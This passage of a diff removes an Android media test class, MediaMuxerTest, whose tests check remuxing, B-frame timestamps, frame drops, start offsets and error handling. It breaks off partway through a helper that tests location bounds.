-import java.util.HashMap;
-import java.util.HashSet;
-import java.util.Vector;
-import java.util.stream.IntStream;
-
-@AppModeFull(reason = "No interaction with system server")
-public class MediaMuxerTest extends AndroidTestCase {
-    private static final String TAG = "MediaMuxerTest";
-    private static final boolean VERBOSE = false;
-    private static final int MAX_SAMPLE_SIZE = 256 * 1024;
-    private static final float LATITUDE = 0.0000f;
-    private static final float LONGITUDE  = -180.0f;
-    private static final float BAD_LATITUDE = 91.0f;
-    private static final float BAD_LONGITUDE = -181.0f;
-    private static final float TOLERANCE = 0.0002f;
-    private static final long OFFSET_TIME_US = 29 * 60 * 1000000L; // 29 minutes
-    static final String mInpPrefix = WorkDir.getMediaDirString();
-    private boolean mAndroid11 = Build.VERSION.SDK_INT >= Build.VERSION_CODES.R;
-
-    @Override
-    public void setContext(Context context) {
-        super.setContext(context);
-    }
-
-    protected AssetFileDescriptor getAssetFileDescriptorFor(final String res)
-            throws FileNotFoundException {
-        Preconditions.assertTestFileExists(mInpPrefix + res);
-        File inpFile = new File(mInpPrefix + res);
-        ParcelFileDescriptor parcelFD =
-                ParcelFileDescriptor.open(inpFile, ParcelFileDescriptor.MODE_READ_ONLY);
-        return new AssetFileDescriptor(parcelFD, 0, parcelFD.getStatSize());
-    }
-
-    /**
-     * Test: make sure the muxer handles both video and audio tracks correctly.
-     */
-    public void SKIP_testVideoAudio() throws Exception {
-        // duplicate of CtsMediaV2TestCases:MuxerTest$TestMultiTrack#testMultiTrack[*]
-        // numTracks @ {1, 1}
-        final String source = "video_176x144_3gp_h263_300kbps_25fps_aac_stereo_128kbps_11025hz.3gp";
-        String outputFilePath = File.createTempFile("MediaMuxerTest_testAudioVideo", ".mp4")
-                .getAbsolutePath();
-        cloneAndVerify(source, outputFilePath, 2, 90, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
-    }
-
-    public void SKIP_testDualVideoTrack() throws Exception {
-        // duplicate of CtsMediaV2TestCases:MuxerTest$TestMultiTrack#testMultiTrack[*]
-        // numTracks @ {2, 0}
-        final String source = "video_176x144_h264_408kbps_30fps_352x288_h264_122kbps_30fps.mp4";
-        String outputFilePath = File.createTempFile("MediaMuxerTest_testDualVideo", ".mp4")
-                .getAbsolutePath();
-        cloneAndVerify(source, outputFilePath, 2, 90, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
-    }
-
-    public void SKIP_testDualAudioTrack() throws Exception {
-        // duplicate of CtsMediaV2TestCases:MuxerTest$TestMultiTrack#testMultiTrack[*]
-        // numTracks @ {0, 2}
-        if (!MediaUtils.check(mAndroid11, "test needs Android 11")) return;
-
-        final String source = "audio_aac_mono_70kbs_44100hz_aac_mono_70kbs_44100hz.mp4";
-        String outputFilePath = File.createTempFile("MediaMuxerTest_testDualAudio", ".mp4")
-                .getAbsolutePath();
-        cloneAndVerify(source, outputFilePath, 2, 90, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
-    }
-
-    public void SKIP_testDualVideoAndAudioTrack() throws Exception {
-        // duplicate of CtsMediaV2TestCases:MuxerTest$TestMultiTrack#testMultiTrack[*]
-        // numTracks @ {2, 2}
-        if (!MediaUtils.check(mAndroid11, "test needs Android 11")) return;
-
-        final String source = "video_h264_30fps_video_h264_30fps_aac_44100hz_aac_44100hz.mp4";
-        String outputFilePath = File.createTempFile("MediaMuxerTest_testDualVideoAudio", ".mp4")
-                .getAbsolutePath();
-        cloneAndVerify(source, outputFilePath, 4, 90, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
-    }
-
-    /**
-     * Test: make sure the muxer handles video, audio and non standard compliant metadata tracks
-     * that generated before API29 correctly. This test will use extractor to extract the video
-     * track, audio and the non standard compliant metadata track from the source file, then
-     * remuxes them into a new file with standard compliant metadata track. Finally, it will check
-     * to make sure the new file's metadata track matches the source file's metadata track for the
-     * mime format and data payload.
-     */
-    public void SKIP_testVideoAudioMedatadataWithNonCompliantMetadataTrack() throws Exception {
-        // duplicate of CtsMediaV2TestCases:MuxerTest$TestSimpleMux#testSimpleMux[application/gyro]
-        // duplicate of CtsMediaV2TestCases:MuxerTest$TestSimpleMux#testSimpleMux[video/h263]
-        // duplicate of CtsMediaV2TestCases:MuxerTest$TestSimpleMux#testSimpleMux[audio/aac]
-        final String source =
-                "video_176x144_3gp_h263_300kbps_25fps_aac_stereo_128kbps_11025hz_metadata_gyro_non_compliant.3gp";
-        String outputFilePath = File.createTempFile("MediaMuxerTest_testAudioVideoMetadata", ".mp4")
-                .getAbsolutePath();
-        cloneAndVerify(source, outputFilePath, 3, 90, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
-    }
-
-    /**
-     * Test: make sure the muxer handles video, audio and standard compliant metadata tracks that
-     * generated from API29 correctly. This test will use extractor to extract the video track,
-     * audio and the standard compliant metadata track from the source file, then remuxes them
-     * into a new file with standard compliant metadata track. Finally, it will check to make sure
-     * the new file's metadata track matches the source file's metadata track for the mime format
-     * and data payload.
-     */
-     public void SKIP_testVideoAudioMedatadataWithCompliantMetadataTrack() throws Exception {
-         // duplicate of CtsMediaV2TestCases:MuxerTest$TestSimpleMux#testSimpleMux[application/gyro]
-         // duplicate of CtsMediaV2TestCases:MuxerTest$TestSimpleMux#testSimpleMux[video/h263]
-         // duplicate of CtsMediaV2TestCases:MuxerTest$TestSimpleMux#testSimpleMux[audio/aac]
-         final String source =
-                 "video_176x144_3gp_h263_300kbps_25fps_aac_stereo_128kbps_11025hz_metadata_gyro_compliant.3gp";
-        String outputFilePath = File.createTempFile("MediaMuxerTest_testAudioVideoMetadata", ".mp4")
-                .getAbsolutePath();
-        cloneAndVerify(source, outputFilePath, 3, 90, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
-    }
-
-    /**
-     * Test: make sure the muxer handles audio track only file correctly.
-     */
-    public void SKIP_testAudioOnly() throws Exception {
-        // duplicate of CtsMediaV2TestCases:MuxerTest$TestSimpleMux#testSimpleMux[audio/*]
-        final String source = "sinesweepm4a.m4a";
-        String outputFilePath = File.createTempFile("MediaMuxerTest_testAudioOnly", ".mp4")
-                .getAbsolutePath();
-        cloneAndVerify(source, outputFilePath, 1, -1, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
-    }
-
-    /**
-     * Test: make sure the muxer handles video track only file correctly.
-     */
-        public void SKIP_testVideoOnly() throws Exception {
-        // duplicate of CtsMediaV2TestCases:MuxerTest$TestSimpleMux#testSimpleMux[video/*]
-        final String source = "video_only_176x144_3gp_h263_25fps.mp4";
-        String outputFilePath = File.createTempFile("MediaMuxerTest_videoOnly", ".mp4")
-                .getAbsolutePath();
-        cloneAndVerify(source, outputFilePath, 1, 180, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
-    }
-
-    public void testWebmOutput() throws Exception {
-        final String source =
-                "video_480x360_webm_vp9_333kbps_25fps_vorbis_stereo_128kbps_48000hz.webm";
-        String outputFilePath = File.createTempFile("testWebmOutput", ".webm")
-                .getAbsolutePath();
-        cloneAndVerify(source, outputFilePath, 2, 90, MediaMuxer.OutputFormat.MUXER_OUTPUT_WEBM);
-    }
-
-    public void SKIP_testThreegppOutput() throws Exception {
-        // duplicate of CtsMediaV2TestCases:MuxerTest$TestSimpleMux#testSimpleMux[*]
-        final String source = "video_176x144_3gp_h263_300kbps_12fps_aac_stereo_128kbps_22050hz.3gp";
-        String outputFilePath = File.createTempFile("testThreegppOutput", ".3gp")
-                .getAbsolutePath();
-        cloneAndVerify(source, outputFilePath, 2, 90, MediaMuxer.OutputFormat.MUXER_OUTPUT_3GPP);
-    }
-
-    /**
-     * Tests: make sure the muxer handles exceptions correctly.
-     * <br> Throws exception b/c start() is not called.
-     * <br> Throws exception b/c 2 video tracks were added.
-     * <br> Throws exception b/c 2 audio tracks were added.
-     * <br> Throws exception b/c 3 tracks were added.
-     * <br> Throws exception b/c no tracks was added.
-     * <br> Throws exception b/c a wrong format.
-     */
-    public void SKIP_testIllegalStateExceptions() throws IOException {
-        // duplicate of CtsMediaV2TestCases:MuxerTest$TestMultiTrack#testMultiTrack[*] and
-        // duplicate of CtsMediaV2TestCases:MuxerUnitTest$TestApi
-        String outputFilePath = File.createTempFile("MediaMuxerTest_testISEs", ".mp4")
-                .getAbsolutePath();
-        MediaMuxer muxer;
-
-        // Throws exception b/c start() is not called.
-        muxer = new MediaMuxer(outputFilePath, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
-        muxer.addTrack(MediaFormat.createVideoFormat(MediaFormat.MIMETYPE_VIDEO_AVC, 480, 320));
-
-        try {
-            muxer.stop();
-            fail("should throw IllegalStateException.");
-        } catch (IllegalStateException e) {
-            // expected
-        } finally {
-            muxer.release();
-        }
-
-        // Should not throw exception when 2 video tracks were added.
-        muxer = new MediaMuxer(outputFilePath, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
-        muxer.addTrack(MediaFormat.createVideoFormat(MediaFormat.MIMETYPE_VIDEO_AVC, 480, 320));
-
-        try {
-            muxer.addTrack(MediaFormat.createVideoFormat(MediaFormat.MIMETYPE_VIDEO_AVC, 480, 320));
-        } catch (IllegalStateException e) {
-            fail("should not throw IllegalStateException.");
-        } finally {
-            muxer.release();
-        }
-
-        // Should not throw exception when 2 audio tracks were added.
-        muxer = new MediaMuxer(outputFilePath, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
-        muxer.addTrack(MediaFormat.createAudioFormat(MediaFormat.MIMETYPE_AUDIO_AAC, 48000, 1));
-        try {
-            muxer.addTrack(MediaFormat.createAudioFormat(MediaFormat.MIMETYPE_AUDIO_AAC, 48000, 1));
-        } catch (IllegalStateException e) {
-            fail("should not throw IllegalStateException.");
-        } finally {
-            muxer.release();
-        }
-
-        // Should not throw exception when 3 tracks were added.
-        muxer = new MediaMuxer(outputFilePath, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
-        muxer.addTrack(MediaFormat.createVideoFormat(MediaFormat.MIMETYPE_VIDEO_AVC, 480, 320));
-        muxer.addTrack(MediaFormat.createAudioFormat(MediaFormat.MIMETYPE_AUDIO_AAC, 48000, 1));
-        try {
-            muxer.addTrack(MediaFormat.createVideoFormat(MediaFormat.MIMETYPE_VIDEO_AVC, 480, 320));
-        } catch (IllegalStateException e) {
-            fail("should not throw IllegalStateException.");
-        } finally {
-            muxer.release();
-        }
-
-        // Throws exception b/c no tracks was added.
-        muxer = new MediaMuxer(outputFilePath, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
-        try {
-            muxer.start();
-            fail("should throw IllegalStateException.");
-        } catch (IllegalStateException e) {
-            // expected
-        } finally {
-            muxer.release();
-        }
-
-        // Throws exception b/c a wrong format.
-        muxer = new MediaMuxer(outputFilePath, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
-        try {
-            muxer.addTrack(MediaFormat.createVideoFormat("vidoe/mp4", 480, 320));
-            fail("should throw IllegalStateException.");
-        } catch (IllegalStateException e) {
-            // expected
-        } finally {
-            muxer.release();
-        }
-
-        // Test FileDescriptor Constructor expect sucess.
-        RandomAccessFile file = null;
-        try {
-            file = new RandomAccessFile(outputFilePath, "rws");
-            muxer = new MediaMuxer(file.getFD(), MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
-            muxer.addTrack(MediaFormat.createVideoFormat(MediaFormat.MIMETYPE_VIDEO_AVC, 480, 320));
-        } finally {
-            file.close();
-            muxer.release();
-        }
-
-        // Test FileDescriptor Constructor expect exception with read only mode.
-        RandomAccessFile file2 = null;
-        try {
-            file2 = new RandomAccessFile(outputFilePath, "r");
-            muxer = new MediaMuxer(file2.getFD(), MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
-            fail("should throw IOException.");
-        } catch (IOException e) {
-            // expected
-        } finally {
-            file2.close();
-            // No need to release the muxer.
-        }
-
-        // Test FileDescriptor Constructor expect NO exception with write only mode.
-        ParcelFileDescriptor out = null;
-        try {
-            out = ParcelFileDescriptor.open(new File(outputFilePath),
-                    ParcelFileDescriptor.MODE_WRITE_ONLY | ParcelFileDescriptor.MODE_CREATE);
-            muxer = new MediaMuxer(out.getFileDescriptor(), MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
-        } catch (IllegalArgumentException e) {
-            fail("should not throw IllegalArgumentException.");
-        } catch (IOException e) {
-            fail("should not throw IOException.");
-        } finally {
-            out.close();
-            muxer.release();
-        }
-
-        new File(outputFilePath).delete();
-    }
-
-    /**
-     * Test: makes sure if audio and video muxing using MPEG4Writer works well when there are frame
-     * drops as in b/63590381 and b/64949961 while B Frames encoding is enabled.
-     */
-    public void testSimulateAudioBVideoFramesDropIssues() throws Exception {
-        final String source = "video_h264_main_b_frames.mp4";
-        String outputFilePath = File.createTempFile(
-            "MediaMuxerTest_testSimulateAudioBVideoFramesDropIssues", ".mp4").getAbsolutePath();
-        try {
-            simulateVideoFramesDropIssuesAndMux(source, outputFilePath, 2 /* track index */,
-                MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4);
-            verifyAFewSamplesTimestamp(source, outputFilePath);
-            verifySamplesMatch(source, outputFilePath, 66667 /* sample around 0 sec */, 0);
-            verifySamplesMatch(
-                    source, outputFilePath, 8033333 /*  sample around 8 sec */, OFFSET_TIME_US);
-        } finally {
-            new File(outputFilePath).delete();
-        }
-    }
-
-    /**
-     * Test: makes sure if video only muxing using MPEG4Writer works well when there are B Frames.
-     */
-    public void SKIP_testAllTimestampsBVideoOnly() throws Exception {
-        // duplicate of CtsMediaV2TestCases:MuxerTest$TestSimpleMux#testSimpleMux[video/avc] and
-        // duplicate of CtsMediaV2TestCases:MuxerTest$TestSimpleMux#testSimpleMux[video/hevc]
-        final String source = "video_480x360_mp4_h264_bframes_495kbps_30fps_editlist.mp4";
-        String outputFilePath = File.createTempFile("MediaMuxerTest_testAllTimestampsBVideoOnly",
-            ".mp4").getAbsolutePath();
-        try {
-            // No samples to drop in this case.
-            // No start offsets for any track.
-            cloneMediaWithSamplesDropAndStartOffsets(source, outputFilePath,
-                MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4, null, null);
-            verifyTSWithSamplesDropAndStartOffset(
-                    source, true /* has B frames */, outputFilePath, null, null);
-        } finally {
-            new File(outputFilePath).delete();
-        }
-    }
-
-    /**
-     * Test: makes sure muxing works well when video with B Frames are muxed using MPEG4Writer
-     * and a few frames drop.
-     */
-    public void testTimestampsBVideoOnlyFramesDropOnce() throws Exception {
-        final String source = "video_480x360_mp4_h264_bframes_495kbps_30fps_editlist.mp4";
-        String outputFilePath = File.createTempFile(
-            "MediaMuxerTest_testTimestampsBVideoOnlyFramesDropOnce", ".mp4").getAbsolutePath();
-        try {
-            HashSet<Integer> samplesDropSet = new HashSet<Integer>();
-            // Drop frames from sample index 56 to 76, I frame at 56.
-            IntStream.rangeClosed(56, 76).forEach(samplesDropSet::add);
-            // No start offsets for any track.
-            cloneMediaWithSamplesDropAndStartOffsets(source, outputFilePath,
-                MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4, samplesDropSet, null);
-            verifyTSWithSamplesDropAndStartOffset(
-                    source, true /* has B frames */, outputFilePath, samplesDropSet, null);
-        } finally {
-            new File(outputFilePath).delete();
-        }
-    }
-
-    /**
-     * Test: makes sure if video muxing while framedrops occurs twice using MPEG4Writer
-     * works with B Frames.
-     */
-    public void testTimestampsBVideoOnlyFramesDropTwice() throws Exception {
-        final String source = "video_480x360_mp4_h264_bframes_495kbps_30fps_editlist.mp4";
-        String outputFilePath = File.createTempFile(
-            "MediaMuxerTest_testTimestampsBVideoOnlyFramesDropTwice", ".mp4").getAbsolutePath();
-        try {
-            HashSet<Integer> samplesDropSet = new HashSet<Integer>();
-            // Drop frames with sample index 57 to 67, P frame at 57.
-            IntStream.rangeClosed(57, 67).forEach(samplesDropSet::add);
-            // Drop frames with sample index 173 to 200, B frame at 173.
-            IntStream.rangeClosed(173, 200).forEach(samplesDropSet::add);
-            // No start offsets for any track.
-            cloneMediaWithSamplesDropAndStartOffsets(source, outputFilePath,
-                MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4, samplesDropSet, null);
-            verifyTSWithSamplesDropAndStartOffset(
-                    source, true /* has B frames */, outputFilePath, samplesDropSet, null);
-        } finally {
-            new File(outputFilePath).delete();
-        }
-    }
-
-    /**
-     * Test: makes sure if audio/video muxing while framedrops once using MPEG4Writer
-     * works with B Frames.
-     */
-    public void testTimestampsAudioBVideoFramesDropOnce() throws Exception {
-        final String source = "video_h264_main_b_frames.mp4";
-        String outputFilePath = File.createTempFile(
-            "MediaMuxerTest_testTimestampsAudioBVideoFramesDropOnce", ".mp4").getAbsolutePath();
-        try {
-            HashSet<Integer> samplesDropSet = new HashSet<Integer>();
-            // Drop frames from sample index 56 to 76, I frame at 56.
-            IntStream.rangeClosed(56, 76).forEach(samplesDropSet::add);
-            // No start offsets for any track.
-            cloneMediaWithSamplesDropAndStartOffsets(source, outputFilePath,
-                MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4, samplesDropSet, null);
-            verifyTSWithSamplesDropAndStartOffset(
-                    source, true /* has B frames */, outputFilePath, samplesDropSet, null);
-        } finally {
-            new File(outputFilePath).delete();
-        }
-    }
-
-    /**
-     * Test: makes sure if audio/video muxing while framedrops twice using MPEG4Writer
-     * works with B Frames.
-     */
-    public void testTimestampsAudioBVideoFramesDropTwice() throws Exception {
-        final String source = "video_h264_main_b_frames.mp4";
-        String outputFilePath = File.createTempFile(
-            "MediaMuxerTest_testTimestampsAudioBVideoFramesDropTwice", ".mp4").getAbsolutePath();
-        try {
-            HashSet<Integer> samplesDropSet = new HashSet<Integer>();
-            // Drop frames with sample index 57 to 67, P frame at 57.
-            IntStream.rangeClosed(57, 67).forEach(samplesDropSet::add);
-            // Drop frames with sample index 173 to 200, B frame at 173.
-            IntStream.rangeClosed(173, 200).forEach(samplesDropSet::add);
-            // No start offsets for any track.
-            cloneMediaWithSamplesDropAndStartOffsets(source, outputFilePath,
-                MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4, samplesDropSet, null);
-            verifyTSWithSamplesDropAndStartOffset(
-                    source, true /* has B frames */, outputFilePath, samplesDropSet, null);
-        } finally {
-            new File(outputFilePath).delete();
-        }
-    }
-
-    /**
-     * Test: makes sure if audio/video muxing using MPEG4Writer works with B Frames
-     * when video frames start later than audio.
-     */
-    public void testTimestampsAudioBVideoStartOffsetVideo() throws Exception {
-        Vector<Integer> startOffsetUsVect = new Vector<Integer>();
-        // Video starts at 400000us.
-        startOffsetUsVect.add(400000);
-        // Audio starts at 0us.
-        startOffsetUsVect.add(0);
-        checkTimestampsAudioBVideoDiffStartOffsets(startOffsetUsVect);
-    }
-
-    /**
-     * Test: makes sure if audio/video muxing using MPEG4Writer works with B Frames
-     * when video and audio samples start after zero, video later than audio.
-     */
-    public void testTimestampsAudioBVideoStartOffsetVideoAudio() throws Exception {
-        Vector<Integer> startOffsetUsVect = new Vector<Integer>();
-        // Video starts at 400000us.
-        startOffsetUsVect.add(400000);
-        // Audio starts at 200000us.
-        startOffsetUsVect.add(200000);
-        checkTimestampsAudioBVideoDiffStartOffsets(startOffsetUsVect);
-    }
-
-    /**
-     * Test: makes sure if audio/video muxing using MPEG4Writer works with B Frames
-     * when video and audio samples start after zero, audio later than video.
-     */
-    public void testTimestampsAudioBVideoStartOffsetAudioVideo() throws Exception {
-        if (!MediaUtils.check(mAndroid11, "test needs Android 11")) return;
-
-        Vector<Integer> startOffsetUsVect = new Vector<Integer>();
-        // Video starts at 200000us.
-        startOffsetUsVect.add(200000);
-        // Audio starts at 400000us.
-        startOffsetUsVect.add(400000);
-        checkTimestampsAudioBVideoDiffStartOffsets(startOffsetUsVect);
-    }
-
-    /**
-     * Test: makes sure if audio/video muxing using MPEG4Writer works with B Frames
-     * when video starts after zero and audio starts before zero.
-     */
-    public void testTimestampsAudioBVideoStartOffsetNegativeAudioVideo() throws Exception {
-        if (!MediaUtils.check(mAndroid11, "test needs Android 11")) return;
-
-        Vector<Integer> startOffsetUsVect = new Vector<Integer>();
-        // Video starts at 200000us.
-        startOffsetUsVect.add(200000);
-        // Audio starts at -23220us, multiple of duration of one frame (1024/44100hz)
-        startOffsetUsVect.add(-23220);
-        checkTimestampsAudioBVideoDiffStartOffsets(startOffsetUsVect);
-    }
-
-    /**
-     * Test: makes sure if audio/video muxing using MPEG4Writer works with B Frames when audio
-     * samples start later than video.
-     */
-    public void testTimestampsAudioBVideoStartOffsetAudio() throws Exception {
-        if (!MediaUtils.check(mAndroid11, "test needs Android 11")) return;
-
-        Vector<Integer> startOffsetUsVect = new Vector<Integer>();
-        // Video starts at 0us.
-        startOffsetUsVect.add(0);
-        // Audio starts at 400000us.
-        startOffsetUsVect.add(400000);
-        checkTimestampsAudioBVideoDiffStartOffsets(startOffsetUsVect);
-    }
-
-    /**
-     * Test: make sure if audio/video muxing works good with different start offsets for
-     * audio and video, audio later than video at 0us.
-     */
-    public void testTimestampsStartOffsetAudio() throws Exception {
-        if (!MediaUtils.check(mAndroid11, "test needs Android 11")) return;
-
-        Vector<Integer> startOffsetUsVect = new Vector<Integer>();
-        // Video starts at 0us.
-        startOffsetUsVect.add(0);
-        // Audio starts at 500000us.
-        startOffsetUsVect.add(500000);
-        checkTimestampsWithStartOffsets(startOffsetUsVect);
-    }
-
-    /**
-     * Test: make sure if audio/video muxing works good with different start offsets for
-     * audio and video, video later than audio at 0us.
-     */
-    public void testTimestampsStartOffsetVideo() throws Exception {
-        if (!MediaUtils.check(mAndroid11, "test needs Android 11")) return;
-
-        Vector<Integer> startOffsetUsVect = new Vector<Integer>();
-        // Video starts at 500000us.
-        startOffsetUsVect.add(500000);
-        // Audio starts at 0us.
-        startOffsetUsVect.add(0);
-        checkTimestampsWithStartOffsets(startOffsetUsVect);
-    }
-
-    /**
-     * Test: make sure if audio/video muxing works good with different start offsets for
-     * audio and video, audio later than video, positive offsets for both.
-     */
-    public void testTimestampsStartOffsetVideoAudio() throws Exception {
-        if (!MediaUtils.check(mAndroid11, "test needs Android 11")) return;
-
-        Vector<Integer> startOffsetUsVect = new Vector<Integer>();
-        // Video starts at 250000us.
-        startOffsetUsVect.add(250000);
-        // Audio starts at 500000us.
-        startOffsetUsVect.add(500000);
-        checkTimestampsWithStartOffsets(startOffsetUsVect);
-    }
-
-    /**
-     * Test: make sure if audio/video muxing works good with different start offsets for
-     * audio and video, video later than audio, positive offets for both.
-     */
-    public void testTimestampsStartOffsetAudioVideo() throws Exception {
-        if (!MediaUtils.check(mAndroid11, "test needs Android 11")) return;
-
-        Vector<Integer> startOffsetUsVect = new Vector<Integer>();
-        // Video starts at 500000us.
-        startOffsetUsVect.add(500000);
-        // Audio starts at 250000us.
-        startOffsetUsVect.add(250000);
-        checkTimestampsWithStartOffsets(startOffsetUsVect);
-    }
-
-    /**
-     * Test: make sure if audio/video muxing works good with different start offsets for
-     * audio and video, video later than audio, audio before zero.
-     */
-    public void testTimestampsStartOffsetNegativeAudioVideo() throws Exception {
-        if (!MediaUtils.check(mAndroid11, "test needs Android 11")) return;
-
-        Vector<Integer> startOffsetUsVect = new Vector<Integer>();
-        // Video starts at 50000us.
-        startOffsetUsVect.add(50000);
-        // Audio starts at -23220us, multiple of duration of one frame (1024/44100hz)
-        startOffsetUsVect.add(-23220);
-        checkTimestampsWithStartOffsets(startOffsetUsVect);
-    }
-
-    /**
-     * Test: makes sure if audio/video muxing using MPEG4Writer works with B Frames
-     * when video and audio samples start after different times.
-     */
-    private void checkTimestampsAudioBVideoDiffStartOffsets(Vector<Integer> startOffsetUs)
-            throws Exception {
-        MPEG4CheckTimestampsAudioBVideoDiffStartOffsets(startOffsetUs);
-        // TODO: uncomment webm testing once bugs related to timestamps in webmwriter are fixed.
-        // WebMCheckTimestampsAudioBVideoDiffStartOffsets(startOffsetUsVect);
-    }
-
-    private void MPEG4CheckTimestampsAudioBVideoDiffStartOffsets(Vector<Integer> startOffsetUs)
-            throws Exception {
-        if (VERBOSE) {
-            Log.v(TAG, "MPEG4CheckTimestampsAudioBVideoDiffStartOffsets");
-        }
-        final String source = "video_h264_main_b_frames.mp4";
-        String outputFilePath = File.createTempFile(
-            "MediaMuxerTest_testTimestampsAudioBVideoDiffStartOffsets", ".mp4").getAbsolutePath();
-        try {
-            cloneMediaWithSamplesDropAndStartOffsets(source, outputFilePath,
-                MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4, null, startOffsetUs);
-            verifyTSWithSamplesDropAndStartOffset(
-                    source, true /* has B frames */, outputFilePath, null, startOffsetUs);
-        } finally {
-            new File(outputFilePath).delete();
-        }
-    }
-
-    /*
-     * Check if timestamps are written consistently across all formats supported by MediaMuxer.
-     */
-    private void checkTimestampsWithStartOffsets(Vector<Integer> startOffsetUsVect)
-            throws Exception {
-        MPEG4CheckTimestampsWithStartOffsets(startOffsetUsVect);
-        // TODO: uncomment webm testing once bugs related to timestamps in webmwriter are fixed.
-        // WebMCheckTimestampsWithStartOffsets(startOffsetUsVect);
-        // TODO: need to add other formats, OGG, AAC, AMR
-    }
-
-    /**
-     * Make sure if audio/video muxing using MPEG4Writer works good with different start
-     * offsets for audio and video.
-     */
-    private void MPEG4CheckTimestampsWithStartOffsets(Vector<Integer> startOffsetUsVect)
-            throws Exception {
-        if (VERBOSE) {
-            Log.v(TAG, "MPEG4CheckTimestampsWithStartOffsets");
-        }
-        final String source = "video_480x360_mp4_h264_500kbps_30fps_aac_stereo_128kbps_44100hz.mp4";
-        String outputFilePath =
-            File.createTempFile("MediaMuxerTest_MPEG4CheckTimestampsWithStartOffsets", ".mp4")
-                .getAbsolutePath();
-        try {
-            cloneMediaWithSamplesDropAndStartOffsets(source, outputFilePath,
-                    MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4, null, startOffsetUsVect);
-            verifyTSWithSamplesDropAndStartOffset(
-                    source, false /* no B frames */, outputFilePath, null, startOffsetUsVect);
-        } finally {
-            new File(outputFilePath).delete();
-        }
-    }
-
-    /**
-     * Make sure if audio/video muxing using WebMWriter works good with different start
-     * offsets for audio and video.
-     */
-    private void WebMCheckTimestampsWithStartOffsets(Vector<Integer> startOffsetUsVect)
-            throws Exception {
-        if (VERBOSE) {
-            Log.v(TAG, "WebMCheckTimestampsWithStartOffsets");
-        }
-        final String source =
-                "video_480x360_webm_vp9_333kbps_25fps_vorbis_stereo_128kbps_48000hz.webm";
-        String outputFilePath =
-            File.createTempFile("MediaMuxerTest_WebMCheckTimestampsWithStartOffsets", ".webm")
-                .getAbsolutePath();
-        try {
-            cloneMediaWithSamplesDropAndStartOffsets(source, outputFilePath,
-                    MediaMuxer.OutputFormat.MUXER_OUTPUT_WEBM, null, startOffsetUsVect);
-            verifyTSWithSamplesDropAndStartOffset(
-                    source, false /* no B frames */, outputFilePath, null, startOffsetUsVect);
-        } finally {
-            new File(outputFilePath).delete();
-        }
-    }
-
-    /**
-     * Clones a media file and then compares against the source file to make
-     * sure they match.
-     */
-    private void cloneAndVerify(final String srcMedia, String outputMediaFile,
-            int expectedTrackCount, int degrees, int fmt) throws IOException {
-        try {
-            cloneMediaUsingMuxer(srcMedia, outputMediaFile, expectedTrackCount,
-                    degrees, fmt);
-            if (fmt == MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4 ||
-                    fmt == MediaMuxer.OutputFormat.MUXER_OUTPUT_3GPP) {
-                verifyAttributesMatch(srcMedia, outputMediaFile, degrees);
-                verifyLocationInFile(outputMediaFile);
-            }
-            // Verify timestamp of all samples.
-            verifyTSWithSamplesDropAndStartOffset(
-                    srcMedia, false /* no B frames */,outputMediaFile, null, null);
-        } finally {
-            new File(outputMediaFile).delete();
-        }
-    }
-
-    /**
-     * Using the MediaMuxer to clone a media file.
-     */
-    private void cloneMediaUsingMuxer(final String  srcMedia, String dstMediaPath,
-            int expectedTrackCount, int degrees, int fmt)
-            throws IOException {
-        // Set up MediaExtractor to read from the source.
-        AssetFileDescriptor srcFd = getAssetFileDescriptorFor(srcMedia);
-        MediaExtractor extractor = new MediaExtractor();
-        extractor.setDataSource(srcFd.getFileDescriptor(), srcFd.getStartOffset(),
-                srcFd.getLength());
-
-        int trackCount = extractor.getTrackCount();
-        assertEquals("wrong number of tracks", expectedTrackCount, trackCount);
-
-        // Set up MediaMuxer for the destination.
-        MediaMuxer muxer;
-        muxer = new MediaMuxer(dstMediaPath, fmt);
-
-        // Set up the tracks.
-        HashMap<Integer, Integer> indexMap = new HashMap<Integer, Integer>(trackCount);
-        for (int i = 0; i < trackCount; i++) {
-            extractor.selectTrack(i);
-            MediaFormat format = extractor.getTrackFormat(i);
-            int dstIndex = muxer.addTrack(format);
-            indexMap.put(i, dstIndex);
-        }
-
-        // Copy the samples from MediaExtractor to MediaMuxer.
-        boolean sawEOS = false;
-        int bufferSize = MAX_SAMPLE_SIZE;
-        int frameCount = 0;
-        int offset = 100;
-
-        ByteBuffer dstBuf = ByteBuffer.allocate(bufferSize);
-        BufferInfo bufferInfo = new BufferInfo();
-
-        if (degrees >= 0) {
-            muxer.setOrientationHint(degrees);
-        }
-
-        if (fmt == MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4 ||
-            fmt == MediaMuxer.OutputFormat.MUXER_OUTPUT_3GPP) {
-            // Test setLocation out of bound cases
-            try {
-                muxer.setLocation(BAD_LATITUDE, LONGITUDE);
-                fail("setLocation succeeded with bad argument: [" + BAD_LATITUDE + "," + LONGITUDE
-                    + "]");
-            } catch (IllegalArgumentException e) {
-                // Expected
-            }
-            try {
-                muxer.setLocation(LATITUDE, BAD_LONGITUDE);
